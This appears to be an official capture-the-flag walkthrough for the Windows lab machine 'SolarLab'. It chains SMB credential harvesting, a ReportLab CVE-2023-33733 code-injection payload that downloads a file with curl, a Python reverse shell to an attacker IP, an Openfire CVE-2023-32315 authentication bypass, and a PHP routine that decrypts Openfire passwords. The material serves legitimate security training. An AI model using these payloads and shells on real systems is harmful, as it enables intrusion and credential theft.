Solar Lab
Solar Lab
Difficulty: Medium
Classification: Official
Synopsis
SolarLab is a medium Windows machine that starts with a webpage featuring a business site.
Moreover, an SMB share is accessible using a guest session that holds files with sensitive
information for users on the remote machine. An attacker can extract valid credentials from this
file and log in to a page allowing employees to fill out forms for company purposes. These forms
are turned into PDFs using the ReportLab library, which is vulnerable to CVE-2023-33733. After
some exploit development/modification, the attacker can get code execution as the user blake
on the remote machine. Further enumeration of the remote machine, reveals that Openfire is
installed and running locally. By using a SOCKS tunnel, the attacker can access the Administrator
Console for Openfire. It turns out, that the version installed, is vulnerable to CVE-2023-32315
which allows the attacker to bypass the authentication screen, upload a malicious plugin, and get
code execution as the openfire user. The openfire user can read the logs from when the server
was installed and extract all the necessary information to crack the Administrator's password and
it turns out that this password is re-used for the local Administrator account.
Skills Required
Enumeration
Log review
Skills Learned
Exploit modification
Port forwarding
Password Cracking
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.16 | grep ^[0-9] | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.16
The initial Nmap output reveals that SMB is running on port 445 and an Nginx server is running
on ports 80 and 6791 . Moreover, it reveals the hostname SolarLab.htb and
report.solarlab.htb . Thus, we modify our /etc/hosts file accordingly:
Nginx - Port 80
We begin our enumeration by visiting http://solarlab.htb . The page seems to display a
promotion site about an Instant messaging application that will be launched:
Exploring the website a bit further, we find some potential usernames in the ABOUT US section, so
let's take a note of these names.
We are presented with a login page for ReportHub . Since we don't have any valid pair of
credentials, we take a note of the login page and we continue our enumeration process.
SMB - Port 445
nxc smb solarlab.htb -u 'guest' -p '' --shares
Authenticating as guest , we have READ access to a non-default share called Documents . Let's
check if there are any interesting files in that share.
# use Documents
# ls
drw-rw-rw- 0 Fri Apr 26 14:47:14 2024 .
drw-rw-rw- 0 Fri Apr 26 14:47:14 2024 ..
drw-rw-rw- 0 Fri Apr 26 14:41:57 2024 concepts
-rw-rw-rw- 278 Fri Nov 17 12:34:54 2023 desktop.ini
-rw-rw-rw- 12793 Fri Nov 17 12:34:54 2023 details-file.xlsx
drw-rw-rw- 0 Thu Nov 16 19:36:51 2023 My Music
drw-rw-rw- 0 Thu Nov 16 19:36:51 2023 My Pictures
drw-rw-rw- 0 Thu Nov 16 19:36:51 2023 My Videos
-rw-rw-rw- 37194 Fri Apr 26 14:44:18 2024 old_leave_request_form.docx
# get details-file.xlsx
# get old_leave_request_form.docx
The details-file.xlsx seems interesting because it holds some personal information related to
some users as well as some passwords.
Foothold
Now, that we have some credentials, we can focus on the login page we discovered on port 6791 .
It seems that we have three plausible username formats.
Full email
First letter of Last name + First Name
First Name + First letter of Last Name
FirstName.LastName
Trying various combinations for the users we were able to log in using the credential pair
blakeb:ThisCanB3typedeasily1@
After we log in, we find a centralized employee portal for secure communication and we have
options to fill out forms for Leave Request , Training Request , Home Office Request , and
Travel Approval .
Let's start by filling out one of these forms. We can see that we have a character limit and we have
to upload a signature:
If we click on the Generate PDF option we are presented with a PDF Document that holds all the
info we provided.
Looking at the document properties, we find some interesting information.
The PDF is generated using the ReportLab library. Looking around the web for disclosed
vulnerabilities we find this PoC as well as this smaller one. Due to the character limit,
unfortunately, we can't use either of these out of the box to test if the backend is vulnerable or
not. Let's focus on the second PoC and start to trim it down as much as we can.
We start by removing any redundant spaces, new lines, and tabs and removing the touch
command since we are dealing with a Windows machine. Moreover, the Word is just a variable
name, so we can simply replace that with W . It's the same thing with
orgTypeFun so we can replace it with O . Also replace self with s , mutate with m , and mutate
with M since the logic of the code would stay the same. We eventually reach 286 characters with
the code below:
It seems like the application is URL-encoding our payload and that's why we get the error even
though our real characters are within limits. So, let's paste our payload in that request directly and
let the server handle it.
After we send the request through we get a red letter t meaning our payload worked and the
backend library is indeed vulnerable.
At this point, we need to think about our strategy to get a full reverse shell. Due to the character
limitation, we would probably need to use a two-stage approach. In the first step, we are going to
upload a reverse shell on the target machine, and in the second step, trigger that file. We know
that Python is installed on the machine, so we are going to create a file called r on our local
machine with the following contents.
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.4",9001))
p=subprocess.Popen(["powershell"], stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
try:
p.wait()
except KeyboardInterrupt:
s.close()
Then, we are going to start a web server in the same directory to host that file.
nc -lvnp 9001
Afterward, using BurpSuite , we are going to send the following payload to the server to grab the
file and place it on the server.
<font color="[[getattr(pow,W('__globals__'))['os'].system('curl -o r
10.10.14.4/r')for W in[O('W',(str,),{'M':1,'startswith':lambda
s,x:0,'__eq__':lambda s,x:s.m()and s.M<0 and str(s)==x,'m':lambda s:
{setattr(s,'M',s.M-1)},'__hash__':lambda s:hash(str(s))})]]for O
in[type(type(1))]]and 'r'"/>
Finally, using BurpSuite to modify the request, we are going to send the following payload to
trigger the file we just placed.
We have a shell as the blake user. We can use the following command to read the user flag type
C:\users\blake\desktop\user.txt .
Lateral Movement
Looking at the available users, we can see that there is a non-default user called openfire .
PS C:\Users\blake\Documents\app> net users
-------------------------------------------------------------------------------
Administrator blake DefaultAccount
Guest openfire WDAGUtilityAccount
Moreover, we can see an openfire folder on C:\Program Files but we can't access it as the
user blake .
Doing some online research, it turns out that Openfire is a real-time collaboration server. This
means, that the server could be running on the remote machine. Let's check the listening ports:
Active Connections
We can see that Openfire is probably running since port 9090 is the Admin Console Port for
Openfire. At this point, we can use Chisel to set up a SOCKS tunnel so that we can access that
internal admin console. We transfer chisel.exe to the remote machine:
cd C:\windows\temp
wget 10.10.14.4/chisel.exe -o chisel.exe
The chisel.exe binary needs to be in the same directory as your Python web server.
Now, using the SOCKS5 proxy 127.0.0.1:1080 on our browser, we can access the Openfire
Admin Console on http://127.0.0.1:9090 .
Trying the credentials we have gathered, yields no results so we turn our attention elsewhere. We
can see that the version of the application is 4.7.4 . Looking for Openfire vulnerabilities, we
discover that CVE-2023-32315 is affecting the version that's installed on the server. Some further
research lands us on this GitHub repo which includes the exploit that will let us bypass the login
screen but also gives us the required files and instructions on how to achieve remote code
execution through Openfire once we are logged in. So let's start our attack by cloning the repo
on our machine and following the instructions:
git clone https://github.com/miko550/CVE-2023-32315
cd CVE-2023-32315
pip3 install -r requirements.txt
<SNIP>
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node0asmtl1cisdj89kvpavp0o8fw1.node0 + csrf:
JpTfclQPjZT59tn
User added successfully: url: http://127.0.0.1:9090 username: q5linr password:
dwad5a
Let's try to log in with the credentials q5linr:dwad5a to check whether the attack worked or not.
We were able to log in to the Openfire Admin Console . Let's continue to follow the instructions
and upload the malicious plugin. We navigate to Plugins .
Then, we go to the Server tab and we click on the Server Setting tab.
Finally, we click on the Management Tool option.
Privilege Escalation
Before we start looking for ways to increase our privileges it would be nice to get a reverse shell as
the user openfire . We can use nc64.exe to get a reverse shell.
Then, we use the following command on the web shell to transfer the nc64.exe binary to the
remote target.
powershell.exe "wget 10.10.14.4/nc64.exe -o nc64.exe"
The nc64.exe binary needs to be in the same directory as your Python web server.
Finally, we get a reverse shell by issuing the following command on the webshell.
solarlab\openfire
PS C:\Program Files\Openfire> ls
It seems that the Openfire application uses an Embedded Database as suggested by the presence
of the embedded-db folder. Let's take a closer look inside.
PS C:\Program Files\Openfire\embedded-db> ls
Looking at the openfire.script we can see a rather interesting statement where the
administrator's password was set up.
PS C:\Program Files\Openfire\embedded-db> type openfire.script
<SNIP>
INSERT INTO OFUSER
VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yid
Qk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2
255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Admin
istrator','[email protected]','001700223740785','0
<SNIP>
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
<SNIP>
It seems like the password is stored in an encrypted format, so let's search for how to decrypt
Openfire's passwords. We find this repo that informs us that to decrypt the password we want the
encryptedPassword which in this case is becb0c67cfec25aa2<SNIP>3069802e59d442 and the
passwordKey which in this case is hGXiFzsKaAeYLjn . It seems that we have everything we need
so let's clone the repo and decrypt the password.
<?php
function decrypt_openfirepass($ciphertext, $key) {
$cypher = 'blowfish';
$mode = 'cbc';
$sha1_key = sha1($key, true);
$td = mcrypt_module_open($cypher, '', $mode, '');
$ivsize = mcrypt_enc_get_iv_size($td);
$iv = substr(hex2bin($ciphertext), 0, $ivsize);
$ciphertext = substr(hex2bin($ciphertext), $ivsize);
if ($iv) {
mcrypt_generic_init($td, $sha1_key, $iv);
$plaintext = mdecrypt_generic($td, $ciphertext);
}
return $plaintext;
}
$enc_password =
'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4
e89b2856b0289b365f3069802e59d442';
$blowfish_key = 'hGXiFzsKaAeYLjn';
echo decrypt_openfirepass($enc_password, $blowfish_key);
Afterward, execute the file and get the clear text password.
php decrypt.php
ThisPasswordShouldDo!@
If you get an error about mcrypt_module_open() make sure you have installed the php-
mcrypt extension from your package manager.
Now that we have a password, we can check whether the system Administrator has re-used this
password for the local Windows Administrator account or not. Let's create a PowerShell
credentials object and try to authenticate as Administrator .
solarlab\administrator